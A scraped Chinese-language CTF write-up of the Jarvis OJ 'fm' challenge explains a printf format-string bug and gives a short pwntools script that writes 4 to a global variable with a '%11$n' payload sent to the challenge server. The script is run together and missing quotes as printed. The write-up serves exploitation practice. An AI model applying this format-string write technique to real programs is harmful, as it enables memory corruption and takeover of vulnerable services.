1. 程式人生 > >Jarvisoj fm

Jarvisoj fm

分享圖片 inter pos 輸入 remote com col 自己 ima

格式化字符串的題目

技術分享圖片

第12排是明顯的漏洞

只要能將 x 改為 4 即可

而格式化字符串中 %n 可以寫入數字

%n 是printf()是計算自己到%n位置已經輸出的字符總數

所以只要輸入長度為 4 的字符串 %n即可

以上面為棧頂(低地址),下面是棧底(高地址)

可以看到 print 的參數在 v5 buffer的上面

技術分享圖片

也就是 v5 的可以視作為 printf ( v5 ) 的第 n 個參數(包括字符串的地址)

而現在我們需要知道 x 的地址和 n 即可構造出 payload

x 地址 0804A02C

技術分享圖片

附上腳本

from pwn import *

#io = process("./fm")
io = remote(pwn2.jarvisoj.com, 9895) payload = p32(0x0804a02c) + "%11$n" io.send(payload) io.interactive() io.close()

Jarvisoj fm